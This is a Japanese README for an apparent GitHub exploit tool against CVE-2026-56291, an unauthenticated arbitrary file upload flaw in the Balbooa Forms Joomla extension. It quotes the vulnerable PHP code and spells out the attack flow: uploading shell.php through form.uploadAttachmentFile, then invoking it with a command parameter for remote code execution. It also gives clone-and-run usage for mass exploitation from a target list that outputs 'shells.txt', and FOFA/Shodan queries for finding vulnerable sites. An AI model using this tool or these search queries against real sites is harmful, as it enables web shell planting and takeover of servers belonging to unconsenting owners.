概要

CVE-2026-56291 は、Balbooa Forms (com_baforms) Joomla 拡張機能 (< 2.4.1) における、認証不要の任意ファイルアップロードの脆弱性 (CVSS 9.8、クリティカル) です。

フロントエンドタスク form.uploadAttachmentFile は Session::checkToken() を呼び出さず、権限チェックも行いません。アップロードされたファイルは攻撃者の拡張子をそのまま使用します: $fileName = $name . '.' . $ext。ファイルは images/baforms/uploads/form-{id}/ に保存され、PHP として直接実行可能です。

影響を受けるバージョン

バージョン	ステータス
1.0 – 2.4.0	脆弱
2.4.1+	修正済み

CISA KEV: 2026年7月10日追加 — 積極的な悪用が確認されました。

脆弱性メカニズム

根本原因

// FormModel::uploadAttachmentFile (frontend/models/forms/FormModel.php ~L122)
// Session::checkToken() なし、権限チェックなし、拡張子ホワイトリストなし
$fileName = $name . '.' . $ext;  // 攻撃者の拡張子をそのまま使用
$filePath = JPATH_ROOT . '/images/baforms/uploads/form-' . $formId . '/' . $fileName;
move_uploaded_file($tmpFile, $filePath);

攻撃フロー

POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1&format=json
  file = shell.php (multipart)
→ images/baforms/uploads/form-1/shell.php に保存
→ https://target.com/images/baforms/uploads/form-1/shell.php?c=id
→ RCE

インストール

git clone https://github.com/shinthink/CVE-2026-56291.git
cd CVE-2026-56291
pip install -r requirements.txt

使い方

python cve_2026_56291.py -t target.com
python cve_2026_56291.py -f targets.txt -o shells.txt
python cve_2026_56291.py -t target.com --debug
python cve_2026_56291.py -t target.com --no-cleanup

FOFA / Shodan

FOFA:   body="com_baforms"
Shodan: http.html:"baforms"

参考文献

リソース	リンク
CISA KEV	cisa.gov/known-exploited-vulnerabilities
修正詳細	mysites.guru
研究者	Phil Taylor

_{Balbooa とは提携していません。}

CVE-2026-56291

人気

CVE-2026-56291 — Balbooa Forms Joomla 大量RCE エクスプロイト

事前認証なし form.uploadAttachmentFile → CSRFなし → PHPアップロード

概要